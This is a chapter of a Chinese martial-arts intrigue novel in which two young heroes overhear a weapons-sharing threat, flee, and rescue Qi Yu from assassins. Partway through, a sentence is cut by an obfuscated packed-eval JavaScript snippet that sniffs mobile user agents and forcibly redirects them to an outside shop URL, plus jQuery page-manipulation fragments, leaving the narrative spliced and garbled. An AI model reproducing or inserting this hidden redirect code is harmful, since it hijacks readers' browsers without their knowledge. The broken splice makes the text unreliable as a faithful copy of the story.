武家之行说起来总体上还是很顺利的,不过现在回想起来,宋延年和李长乐二人依旧感到有些后怕。
随着武宗扬的脚步一点点逼近,李长乐和宋延年的心都悬在了嗓子眼。现在开窗,那武宗扬必会听得到声响,可若是不开窗,武宗扬绕过屏风便会瞬间发现她们。
糟了!
二人心下暗道不好,纷纷按住了腰间的武器。总归是蒙着面,真不行了就杀出去,总归不能落在武家手里。
“你的制兵厂所锻造出来的兵器,我要两成。”坐在椅子上的云放突然开了口。他觉得武家未必与他同心,能答应与他合作,除了京府宁家的推荐,还是因为武家想霸占整个剑南。
为此,他们必须让其余两家消失。
剑南往东两个城市,就是一直沉寂休养生息的东襄国,大战之后东襄再没有起势的迹象。因此武家只要掌握了剑南道,那么剑南往东的这一整片区域,就都会收入他的囊中。
李牧然的军队守在北疆,而定安候的将士向来行踪不定,拆成了许多小队在各个地区游查,因此每个小队的兵将数量并不多。
待到武家真的就势拿下了剑南道,定安侯的军队就算在附近也拿武家毫无办法。
二皇子不得宠天下皆知,宁家和皇室未来必有一战,这也是他乐见其成的。不过就算他很乐于见到上阳四分五裂的局面,也不意味着他就要白给武家利用。
既然是合作,彼此都要拿出诚意,才是最好。
魏家,他已经出手毁了他大半的产业,而解家明显已经入局却不自知。
他已经付出了足够多的诚意,单单一个走私,可不够他这么久以来的辛苦布局。
听到这话的武宗扬立刻停住了脚步,转过身看着大放厥词的云放。长长的袖子坠了下来,掩盖了他紧攥的拳头。
“先生此话是何意?”
武宗扬朝着云放走了过去,脸色有些青,但仍维持住了表情。
“就是字面上的意思,你的兵器,我要两成。”
“宁家当初促成我们合作之时可没说过这些吧?”
“顺势而为,毕竟没合作之前,我们也互相不清楚彼此的底牌不是?现在你我知根知底,更是谈深度合作的好时机啊!”
武宗扬紧抿着嘴唇,眼中杀意渐起。
“合作?我倒是没听得出来,云放先生您有合作的意思。”
云放并没有在意武宗扬华语中的针锋相对,毕竟是他在朝着别人要东西,有一些情绪也是理所应当。
“怎么不算是合作呢?分我两成,我保你的兵器厂后续能够稳定运行。”
“云放先生,我觉得有必要提醒您一句,您这不叫合作,这叫威胁。”
“威胁也是合作的一种,不是吗?结果都是一样的,过程中的种种不快又何必在意?我们最后都能从中获利,又何必去在文字上纠结?”
“哈哈哈哈。”武宗扬被云放的话气得笑出了声,他知道与这云放合作是一步险棋,却未曾想这“险”来得如此之快。他们还没收到任何的回报,现在就要付出巨额的财富。
二人谁也不想退让,就这样僵持在了原地。而屏风后的李长乐和宋延年早就趁着他们剑拔弩张之际,从窗侧溜了出去。
“好险。”
直到和自家的亲兵会合,李长乐才将心中的紧张抒发了出来。而后将她在武宗扬那儿翻到的纸张交给了一直在武家附近守着的钱贺。
“叔,这是我在武家翻出的东西,上面写着奇怪的地点和数字。武宗扬和那个细作聊天的时候说过他们家在剑南郊区私造兵器,这上面的地点很有可能和他们的兵器坊有关。而且剑南郊外八里坡有武家的私兵……”
“行,我回去就交给将军,私兵的事情我和将军会处理。你们两个有没有事?”钱贺紧张地看着眼前的两个孩子,仔细地瞧了好几圈。
“没事,我们办事你还不放心?”
“那就好,那就好。”钱贺长舒了一口气,一直悬着的心终于放下了。
“我送你们回去。”
“还是算了吧,钱叔。”宋延年看了看依旧不见小的雨势说道:“人多的话,目标太大,我们两个人躲藏起来更方便一些。更何况最危险的一关都过去了,之后的路也没什么危险。”
宋延年的话有理,也是他过于担心才会一时间失了理智。钱贺依依不舍地看着两个孩子,终究是朝着二人点了点头,目送他们离开,随后自己也带兵撤回了四方馆。
回去的路程二人走的更快,生怕发生什么意外,可偏偏是想什么来什么。二人走到一半,宋延年突然发觉南侧有个人影“嗖”地一下窜了过去,当即停了下来。
“怎么了?”李长乐看着突然停下的宋延年,朝四周看了看,发觉并无异样。
“刚刚有个人过去了。”宋延年如实回答,但他不确定要不要跟。
“不知道是不是跟着我们来的,我们要不要……”
“走呗。”李长乐没有别的想法,若是那人真的是跟着她们来到,那她们就这样回到解家,可就彻底暴露了。
“真要是跟着我们,咱们两个就直接把人绑回去,来个严刑逼供什么的!我还没试过这个呢!”
听到这个建议,宋延年眼神透亮。他也没试过逼供,若真是如此,倒是可以体会一番。
他们两个要是问不出来什么,就把人交给姨父。
想到这儿,二人立即朝着那身影潜了过去。
宋延年悄悄地问身侧的李长乐:“我听说有人逼供会一直用羽毛挠人的脚心!咱们也试试?”
李长乐瞬间打了个寒战,脑海中自觉地浮现了自己被绑起来抓痒的场面,使劲的摇了摇头。
“那也太残忍了吧!我们可以先饿他两天,然后让书因找一堆香香的饭菜!”
“这个主意也不错!”宋延年很是赞成,没人能在饥饿的时候拒绝好吃的,他对此很是坚定。
严刑他们二人定是不成的,不过这种小把戏还是可以试一试,反正他们只是没玩儿过,体验一番而已。
待二人终于发现了那道一闪而过的身影时,惊异的发现那人竟是齐誉。
“他不会是刚从解家回来吧?”李长乐看着上蹿下跳的齐誉,有些惊讶。
“想不到他轻功倒是蛮好的。”
“能让侯爷另眼相看的人总得有些特别的本事。”宋延年发觉这人是齐誉之后,便没了兴致。撇了撇嘴便打算打道回府。
就在他刚要起身,离开此处时,却嗅到了一丝杀意。
他立即重新蹲下,按住李长乐,和她一同趴在了房
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941794|131064||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
檐上。
“有人,不止一个。”
李长乐自是也察觉到了四周有人,她立即隐藏好自己的气息,便开始四处搜寻。
“右侧的巷子里,有十余人。”
“这么多?就为了抓一个齐誉?”宋延年有些意外,齐誉那点子功夫他还是可以试探出来的。但……
“不对,还有一个。”宋延年很快地察觉到了还有一处隐藏的极深的气息藏在暗处。
李长乐费力地四处搜寻着,还是没能发现最后一人。
“不行,视角有限,观察不到。”
“我只能感觉到这人离我们并不远,具体的位置,我也说不出。但这人的实力在那十余人之上。”宋延年看了看附近的地形,而后说道:“我们先不要出面,等藏在暗处的那人出现,我们再出来。”
“嗯。”李长乐应了一声,遍开始观察齐誉的动向。
那些人的动作很快,齐誉招架的也很是勉强。有好几个瞬间她都想冲出去救人,但硬生生地忍住了。
当齐誉被那些人逼退到墙角时,李长乐还是站了出来,悄悄地像齐誉靠近。
她再等的话,可能齐誉的小命就没了。
宋延年见状也赶紧跟了上去,救人要紧。
但令他们都没想到的是,齐誉竟然真的突破了那群人的包围圈,冲了出来。
还没等他们放下心,那一直隐藏在暗处的人突然动了。
宋延年立即出剑,将那暗处之人的剑弹开。李长乐则是迅速拉过齐誉,逃离了这危险之地。
齐誉本以为自己死定了,但见来人是李长乐,本来紧绷的脸立即笑意盈盈。
“哟,郡主,没成想我们还混成了过命的交情了。”
“这个时候开玩笑是不是有些不合时宜?”李长乐带着齐誉来到了一处安全的地方,很认真地看着他。
她确实是想不通这人的脑袋里都装了些什么,但现在可不是想这些的时候,她还要回去接应宋延年。
李长乐按了按装有涂了大量迷药和一些能限制行动的毒药的袖箭,随意嘱咐了一句:
“你自己回解家,我就不送你了。”说罢,便立即原路返回。
不过好在她来的及时,宋延年刚好被那几人包围在里面,这也更不容易误伤到他了。
李长乐吐槽完宋延年的抱怨,便和他走在了一处。
那暗卫见李长乐半路折返,并未真的离去,眼睛微微眯起,开始判断这二人的水平。
“你们是什么人,与那齐誉是什么关系?”
“我是他姨母。”
李长乐随口胡诌。
“哼。”那暗卫对齐誉的的背景查的清清楚楚,他自小在剑南长大,哪里来的小姨?知道李长乐是在骗他,但他也不恼。齐誉已经跑了,现在他的任务是必须将这二人带回魏家,严加审问,总能查得出齐誉的目的。
那暗卫暗自想着,却没成想李长乐和宋延年突然进攻,他急忙抬手防卫,并找时机进攻。
宋延年接到一击后不免咂了咂嘴,这个人和威风寨那个二当家比起来差的可不是一星半点,几个攻势间就将他打成了重伤。
就在他庆幸审问梦又可以重新做了的时候,街头传来了更大的躁动声:
“人在那儿!抓住他们!”